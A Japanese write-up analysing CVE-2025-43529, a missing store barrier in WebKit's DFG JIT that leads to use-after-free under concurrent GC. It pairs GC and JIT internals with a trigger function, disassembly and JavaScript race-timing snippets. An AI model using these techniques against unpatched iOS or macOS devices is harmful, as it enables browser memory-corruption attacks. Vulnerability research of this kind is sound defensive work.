
CVE-2025-43529の技術的エクスプロイトです。WebKit DFG JITコンパイラの脆弱性で、並行GCでのストアバリア欠落によるuse-after-freeを可能にし、iOSおよびmacOS向けの完全な悪用プリミティブを含みます。
Appleは最近、iOS 26.2およびiPadOS 26.2をリリースし、WebKitの脆弱性に対する修正を含むセキュリティアドバイザリを公開しました。その中でもDFG JITコンパイラのバグ(CVE-2025-43529)が特に興味深かったため、調査することにしました。
JITコンパイラは、複数の制御フローパスが合流するPhiノードがエスケープしていることを正しく認識していましたが、そのPhiのUpsilonノードもエスケープしていることに気づきませんでした。そのため、DFGコンパイルのStoreBarrierInsertionPhaseにおいて、重要なメモリ安全機構であるStore Barrierの挿入がスキップされました。その結果、コンカレントGCが本来スキャンすべきオブジェクトを見逃し、use-after-freeを引き起こす可能性があります。
パッチコミットはこちらで確認できます。
iOS 26.1、iPadOS 26.1、macOS Tahoe 26.0.1でのエクスプロイト動作を確認しています。
JSCは世代別GCモデルを採用し、ヒープを効率的に管理しています。このモデルでは、メモリはオブジェクトの経過時間に基づいてEden(新領域)と旧領域に分割されます。新しく割り当てられたオブジェクトはすべてEденから始まります。EdenがいっぱいになるとEden GCがトリガーされ、生存しているオブジェクトは旧領域へ昇格します。旧領域のオブジェクトをクリーンアップするにはフルGCが必要です。
世代別GCを機能させるには、GCはオブジェクトを「既にスキャン済み」「スキャンが必要」「再スキャンが必要」に分類する必要があります。JSCでは、これはオブジェクトのcellStateで追跡されます(すべてのGC管理対象オブジェクトはJSCellを継承しています)。
StructureID m_structureID;
union {
uint32_t m_blob;
struct {
IndexingType m_indexingTypeAndMisc;
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
CellState m_cellState;
};
};
cellStateは1バイトで、Black(0)、White(1)、Grey(2)の3色のいずれかです。
Whiteは、Edenに割り当てられたばかりのオブジェクトを意味します。現在のGCサイクルではまだマークされていません。この状態のままGCサイクルが終了すると、そのオブジェクトは回収されます。
Blackは、GCがそのオブジェクトのマーキングを終了したか、マーキング処理中であることを意味します。基本的には生存しているものとして扱われますが、isMarkedビットはまだオフの可能性があります。
Greyは、まだスキャンが必要なオブジェクトを意味します。より正確には、元々Blackだったが、ライトバリアによって捕捉され、記憶セットに追加されたものです。つまり、その参照が変更されたため、GCはそのオブジェクトを再スキャンする必要があります。
JSCはコンカレントGCも備えており、メモリが回収されている間もアプリケーションの実行を可能にします。GCがバックグラウンドでオブジェクトをマーキングしているときに、アプリケーションがそのオブジェクトの状態を同時に変更すると、競合状態が発生する可能性があります。
これを防ぐためには、順序の保証が必要です。例えば、「ストアA、その後ロードB」がその順序で発生するようにする必要があります。しかしARM64では、パフォーマンス上の理由からCPUがメモリ操作を並べ替える可能性があります。そのため、GCが誤った値を読み取る可能性があります。
そこでJSCは、CPUのデータ依存性に依存する依存性クラスを使用するか、STLRやLDARのような特別なARM64命令を使用して順序を強制します。STLRは、以前の読み取り/書き込みがそのストアの前に可視になることを保証します(リリースストア)。LDARは、後の読み取り/書き込みがそのロードより先に移動できないようにします(アクワイアロード)。別のスレッドがオブジェクトを読み取るとき、LDARはSTLRとペアになって、最新のデータを安全に観測できるようにします。
DMBは単一アクセスに対する特別な命令ではありません。これは、その前後のすべてのメモリアクセスにわたって順序を強制するバリアです。DMBより前のメモリ操作が、後の操作よりも前に可視になることを保証します。
JSCには合計3つのJITティアがあります。実行速度とコンパイルコスト(メモリ/時間)のバランスを取るために、実行頻度に基づいて最適化を適用し、コードを次のティアに移行します。
Baseline JITは最初のJITコンパイラです。低いコンパイルオーバーヘッドで素早くネイティブコードに変換することに重点を置いています。 DFG JITはBaseline JITの次の段階で、本格的な最適化が始まります。
DFGティアでは、JavaScript命令がDFG IRノードで構成されるグラフに変換されます。収集した型情報を使用して、コンパイラは投機(スペキュレーション)を実行し、不要な操作を削除します。
JSCのDFG最適化パイプラインでは、StoreBarrierInsertionPhaseがPutByOffsetなどのメモリ書き込みノードの後にStoreBarrierを挿入します。
CVE-2025-43529は、StoreBarrierInsertionPhaseで挿入されるべきStoreBarrierが挿入されなかったことによる脆弱性です。
StoreBarrierは、ライトバリアのように動作するノードです。マーキングスレッドとの競合において正しさを保つために使用されます。
パッチコミットに記述されている脆弱なDFGノードのシナリオは以下のとおりです。
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
Branch(BB#2, BB#3)
BB#2
...
d: Something
e: Upsilon(@d, ^f)
Jump(BB#3)
BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...
BB#1で2つの新しいオブジェクトが作成され、実行はBB#2またはBB#3に分岐します。BB#2はBB#3にフォールスルーします。BB#3で注目すべきはPhiノードです。これは、fがcまたはeのいずれかであり、その選択は上流のUpsilonノードによって決定されることを意味します。BB#3のPutByOffsetは、オブジェクトのプロパティに値を追加することを意味します。
let A = { p0: 0x41414141 };
function jitme(flag) {
// BB#1
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
// BB#2
f = b;
} else {
// BB#3
f = 1.1; // d
}
// BB#4
A.p0 = f;
b.p0 = a;
}
--dumpFTLDisassembly=trueオプションを使用すると、FTLコンパイル後のアセンブリを調査できます。
// Starting BB#3
0 3 60: D@46:< 1:-> Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
1 3 60: D@53:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
2 3 60: D@57:<!0:-> ExitOK(MustGen, W:SideState, bc#50, ExitValid)
3 3 60: D@63:<!0:-> KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
4 3 60: D@60:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
5 3 60: D@67:<!0:-> KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
6 3 60: D@66:<!0:-> ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
7 3 60: D@69:<!0:-> FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
8 3 60: D@70:<!0:-> PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
// StoreBarrier for D@65(A)
9 3 60: D@78:<!0:-> FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
10 3 60: D@73:<!0:-> FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)
// D@36 : b
// D@26 : a
// b.p0 = a
11 3 60: D@75:<!0:-> PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
12 3 60: D@71:<!0:-> Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)
バグのため、bに対するStoreBarrierが出力されませんでした。
Aオブジェクトは旧領域にあります。最初のPutByOffset(A.p0 = f)で、旧オブジェクトAが新しいオブジェクトfを指すようになります。つまり、そのストア以降、マーキングスレッドはAを経由してfに到達できるようになります。そのため、後でfのプロパティを変更する場合、StoreBarrierを挿入する必要があります。
f(Phiノード)はエスケープしていると扱われますが、fに流れ込む可能性のある実際の入力(Upsilon経由のbとd)はエスケープとしてマークされません。論理的には、fがAに格納されるなら、bを含むfになり得るすべてのオブジェクトも実質的にAに格納されます。しかし、バグのためコンパイラはそれを認識せず、bはエスケープしない「安全な」値でありGCがスキャンする必要がないと考え、StoreBarrierをスキップしてしまいます。
use-after-freeをトリガーするには、メインスレッドとマーキングスレッドの間で競合を成功させる必要があります。シナリオは以下のとおりです。
コンカレントマーキング(マーキングスレッド):
マーキングスレッドは旧領域のオブジェクトAからbに到達し、Aとbの両方を黒としてマークします。
参照の更新(メインスレッド):
メインスレッドはb.p0 = aを実行します。この時点でaはまだマークされていないEdenオブジェクトであり、白のままです。これにより、黒のオブジェクトが白のオブジェクトを指す状態が作成されます。
ストアバリアの欠落:
通常、bは記憶セットに追加されるべきです。しかし、バグによりストアバリアがスキップされるため、GCはbがaを指すようになったことを知りません。GCサイクルが続行され、他にaを参照するものがなければ、aは白のままとなり、最終的に解放されます。
GCサイクルの終了:
その後、b.p0を読み取ると解放されたメモリにアクセスする可能性があり、use-after-freeにつながります。
競合状態を利用する上で最も難しいのは、競合ウィンドウを捉えることです。オブジェクトAとbは同じGCサイクル内でマークされる必要があります。メインスレッドとマーキングスレッドのタイミングを合わせるために、3つのテクニックを使用しました。
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;
let A = {
p0: 0x41414141,
p1: 1.1,
p2: 2.2,
};
arr[arr_index] = A;
まず、Aのスキャンが開始されるまでのタイミングウィンドウを確保するために、GCにいくつかの子を訪問させる必要がありました。arrを大きくし、Aを最後のインデックスに配置しました。ここで注意すべき点は、Aが旧領域に存在する必要があることです。
let forGC = [];
let a = new Date(1);
a[0] = 1.1;
for (let j = 0; j < allocCount; ++j) {
let arr = new ArrayBuffer(0x80_0000);
forGC.push(arr);
}
A.p2 = forGC;
次に、旧領域のAをスキャンするにはフルGCをトリガーする必要があります。そのためには、十分な量の大きなオブジェクトを割り当てる必要があります。GCのトリガーを比較的一貫させるために、割り当てたオブジェクトの参照を保持し、「未使用」として最適化されないように、それらをA.p2に格納しました。
A.p1 = f;
let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
for (let j = 0; j < k; ++j) {
v = i;
v = j;
}
}
b.p0 = v;
b.p1 = a;
第三に、フルGCがトリガーされた後、十分に大きな配列を使用してAのマーキングを遅延させることができれば、メインスレッドはbにaへの参照を追加する直前にAのマーキングが完了する必要があります。そのタイミングを強制するために、大きなループを追加しました。また、ループが最適化によって除去されないように、最終値をb.p0に格納しました。